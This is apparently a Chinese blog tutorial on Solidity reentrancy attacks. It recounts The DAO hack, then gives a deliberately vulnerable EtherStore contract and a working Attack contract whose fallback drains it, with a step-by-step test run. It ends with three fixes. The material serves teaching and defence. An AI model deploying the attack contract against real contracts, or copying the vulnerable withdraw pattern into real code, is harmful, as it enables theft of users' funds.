Solidity - 安全 - 重入攻击（Reentrancy）

瘦身小蚂蚁 2024-04-10 原文

The DAO事件

首先简要说明下一个很有名的重入攻击事件，再模拟重入攻击。

The DAO是分布式自治组织，2016年5月正式发布，该项目使用了由德国以太坊创业公司Slock.it编写的开源代码。2016年6月17上午，被攻击的消息开始在社交网站上出现，到6月18日黑客将超过360万个以太币转移到一个child DAO项目中，child DAO项目和The DAO有着一样的结构，当时以太币的价格从20美元降到了13美元。

当时，一个所谓的”递归调用“攻击（现在称为重入攻击）名词随之出现，这种攻击可以被用来消耗一些智能合约账户。

这次的黑客攻击最终导致了以太坊硬分叉，分为ETH和ETC，分叉前的为ETC（以太坊经典），现在使用的ETH为硬分叉后的以太坊。

整个事件可以参考： The DAO攻击历史_x-2010的博客-CSDN博客_dao 攻击

模拟重入攻击

攻击与被攻击合约代码

说明：以下重入攻击代码，在0.8.0以下版本可以成功测试，0.8.0及以上版本未能成功测试，调用攻击函数时被拦截报错。

源码可参见： smartcontract/Security/Reentrancy at main · tracyzhang1998/smartcontract · GitHub

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;

//被攻击合约
contract EtherStore {
    //记录余额
    mapping(address => uint256) public balance;

    // 存款，ether转入合约地址，同时更新调用者的balance;
    function deposit() external payable {
        balance[msg.sender] += msg.value;
    }

    // 取款，从合约地址余额向调用者地址取款
    function withdraw(uint256 _amount) external {
        // 验证账户余额是否充足
        require(balance[msg.sender] >= _amount, "The balance is not sufficient.");
        // 取款（从合约地址转入调用者账户）
        (bool result,) = msg.sender.call{value: _amount}("");
        // 验证取款结果 
        require(result, "Failed to withdraw Ether");

        // 更新余额
        balance[msg.sender] -= _amount;
    }

    // 查看合约余额
    function getContractBalance() external view returns(uint256) {
        return address(this).balance;
    }
}

//攻击合约（黑客编写）
contract Attack {
    EtherStore public etherstore;

    constructor(address _etherStoreAddress) public {
        etherstore = EtherStore(_etherStoreAddress);
    }

    //回退函数
    fallback() external payable {
        //判断被攻击合约余额大于等于1 ether，是为了避免死循环，死循环时调用将会失败，达不到目的了
        if (address(etherstore).balance >= 1 ether) {
            //从被攻击合约中取款
            etherstore.withdraw(1 ether);
        } 
    }

    //攻击函数
    function attack() external payable {
        require(msg.value >= 1 ether);

        //向被攻击合约存款
        //etherstore.deposit.value(1 ether)();  //0.6.0版本以前写法
        etherstore.deposit{value: 1 ether}();
        //从被攻击合约中取款
        etherstore.withdraw(1 ether);
    }

    //查看合约余额
    function getContractBalance() external view returns (uint256) {
        return address(this).balance;
    }

    //取出合约余额到外部账户中
    function withdraw() external payable {
        payable(msg.sender).transfer(address(this).balance);
    }

    //查看外部账户余额
    function getExternalBalance() external view returns (uint256) {
        return msg.sender.balance;
    }
}

攻击函数 attack 被调用后执行流程如下图所示：

测试重入攻击

1、测试使用的外部账户

使用三个外部账户

账户1 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 部署被攻击合约（EtherStore）

账户2 0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2 部署攻击合约（Attack）

账户3 0x4B20993Bc481177ec7E8f571ceCaE8A9e22C02db 向被攻击合约（EtherStore）存款

2、部署合约

（1）部署被攻击合约（EtherStore）

使用账户1部署被攻击合约（EtherStore）

部署完成得到被攻击合约（EtherStore）地址：0xd9145CCE52D386f254917e481eB44e9943F39138

（2）部署攻击合约（Attack）

使用账户2 部署攻击合约（Attack），参数填写被攻击合约（EtherStore）地址，在实际攻击时，参数填写在以太网中的实际合约地址。

部署完成得到攻击合约（Attack）地址：

0xa131AD247055FD2e2aA8b156A11bdEc81b9eAD95

3、测试步骤（攻击获取ETH）

（1）账户3调用被攻击合约（EtherStore）存款函数

账户3 存款6Ether（调用函数 deposit）
查看被攻击合约（EtherStore）余额（调用函数 getContractBalance），当前余额为6Ether

（2）账户2调用攻击合约（Attack）攻击函数

账户2 调用攻击合约（Attack）中攻击函数（调用函数 attack），攻击函数中调用被攻击合约中的取款函数，此时会执行攻击合约中的回退函数（fallback），fallback将被攻击合约账户余额转入攻击合约账户中
查看攻击合约（Attack）余额（调用函数 getContractBalance），余额为 7 Ether = 自己存款 1 Ether + 被攻击合约 6 Ether
查看被攻击合约（EtherStore）余额（调用函数 getContractBalance），此时已为 0 Ether，已被攻击者成功转走

查看被攻击合约（EtherStore）余额

说明：

fallback函数是合约中的一个未命名函数，没有参数且没有返回值。

fallback执行条件:

如果在一个到合约的调用中，没有其他函数与给定的函数标识符匹配时（或没有提供调用数据）,fallback函数会被执行；
当合约收到以太币时，fallback函数会被执行；攻击合约（Attack）中用到了此触发fallback执行条件。

关于fallback函数执行的2种触发方式可参见： Solitidy - fallback 回退函数 - 2种触发执行方式_ling1998的博客-CSDN博客

（3）攻击者被攻击合约余额转入自己的用户账户

账户2调用攻击合约（Attack）中取款函数（withdraw），合约账户余额转入账户2用户账户
查看攻击合约账户余额，已为 0 Ether
查看攻击者（即账户2）用户账户余额，已成功获取约 6 Ether

4、测试^0.8.0版本

使用0.8.0测试步骤（2）时，报错，错误信息如下所示：

transact to Attack.attack errored: VM error: revert.

revert
	The transaction has been reverted to the initial state.
Reason provided by the contract: "Failed to withdraw Ether".
Debug the transaction to get more information.

修改EtherStore合约中的函数withdraw（加粗字体），即一次性将合约地址账户余额全部转入调用者账户，之后账户余额清零，测试成功，但是这样没有再次执行withdraw啊。

function withdraw(uint256 _amount) external {

// 验证账户余额是否充足

require(balance[msg.sender] >= _amount, "The balance is not sufficient.");

// 取款（将合约地址账户余额全部转入调用者账户）

(bool result,) = msg.sender.call{value: balance[msg.sender]}("");

// 验证取款结果

require(result, "Failed to withdraw Ether");

// 更新余额：清零

balance[msg.sender] = 0;

}

解决重入攻击方案

1、被攻击合约（EtherStore）中取款函数先更新余额再取款

调用被攻击合约（EtherStore）中的取款函数，调顺序

// 更新余额
balance[msg.sender] -= _amount;

// 取款（从合约地址转入调用者账户）
(bool result,) = msg.sender.call{value: _amount}("");
// 验证取款结果
require(result, "Failed to withdraw Ether");

展示调整后的取款函数withdraw

    // 取款，从合约地址余额向调用者地址取款
    function withdraw(uint256 _amount) external {
        // 验证账户余额是否充足
        require(balance[msg.sender] >= _amount, "The balance is not sufficient.");

        // 更新余额
        balance[msg.sender] -= _amount;
        
        // 取款（从合约地址转入调用者账户）
        (bool result,) = msg.sender.call{value: _amount}("");
        // 验证取款结果 
        require(result, "Failed to withdraw Ether");
    }

执行测试第2步调用攻击合约（Attack）中的攻击函数，报错，与在0.8.0版本错误相同，如下图所示

2、取款使用transfer代替msg.sender.call

    // 取款，从合约地址余额向调用者地址取款
    function withdraw(uint256 _amount) external {
        // 验证账户余额是否充足
        require(balance[msg.sender] >= _amount, "The balance is not sufficient.");

        /** 删除.call调用 **/
        // // 取款（从合约地址转入调用者账户）
        // (bool result,) = msg.sender.call{value: _amount}("");
        // // 验证取款结果 
        // require(result, "Failed to withdraw Ether");
        
        // 取款（从合约地址转入调用者账户）
        msg.sender.transfer(_amount);

        // 更新余额
        balance[msg.sender] -= _amount;
    }

执行测试第2步调用攻击合约（Attack）中的攻击函数，报错，如下图所示：

3、使用重入锁

增加一个状态变量标识是否加锁，若已加锁则不能再调用被攻击函数中的取款方法。

//被攻击合约
contract EtherStore {
    //记录余额
    mapping(address => uint256) public balance;

    //锁
    bool locked;

    //判断是否加锁，若加锁已返回，否则加锁，执行完释放锁
    modifier noLock() {
        require(!locked, "The lock is locked.");
        locked = true;
        _;
        locked = false;
    }

    // 存款，ether转入合约地址，同时更新调用者的balance;
    function deposit() external payable {
        balance[msg.sender] += msg.value;
    }

    // 取款，从合约地址余额向调用者地址取款
    function withdraw(uint256 _amount) noLock external {
        // 验证账户余额是否充足
        require(balance[msg.sender] >= _amount, "The balance is not sufficient.");
        // 取款（从合约地址转入调用者账户）
        (bool result,) = msg.sender.call{value: _amount}("");
        // 验证取款结果 
        require(result, "Failed to withdraw Ether");

        // 更新余额
        balance[msg.sender] -= _amount;
    }

    // 查看合约余额
    function getContractBalance() external view returns(uint256) {
        return address(this).balance;
    }
}